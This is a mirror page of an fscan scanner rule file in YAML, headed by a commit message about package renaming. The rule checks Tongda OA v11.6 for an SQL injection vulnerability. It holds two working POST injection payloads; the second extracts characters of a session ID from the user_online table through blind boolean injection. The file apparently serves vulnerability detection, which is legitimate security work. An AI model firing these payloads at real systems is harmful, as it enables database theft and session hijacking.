mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
c2b63a57e2
- 重命名 Common -> common，WebScan -> webscan，遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项，优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。
22 lines
1.1 KiB
YAML
22 lines
1.1 KiB
YAML
name: tongda-insert-sql-inject
|
||
rules:
|
||
- method: POST
|
||
path: /general/document/index.php/recv/register/insert
|
||
body: |
|
||
title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
|
||
expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=")
|
||
- method: POST
|
||
path: /general/document/index.php/recv/register/insert
|
||
body: |
|
||
title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=
|
||
expression: response.status != 502 && response.status != 500
|
||
detail:
|
||
author: zan8in
|
||
description: |
|
||
通达OA v11.6 insert参数包含SQL注入漏洞，攻击者通过漏洞可获取数据库敏感信息
|
||
app="TDXK-通达OA"
|
||
发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞，返回500则不存在
|
||
links:
|
||
- http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
|
||
- https://blog.csdn.net/weixin_39779975/article/details/111091529
|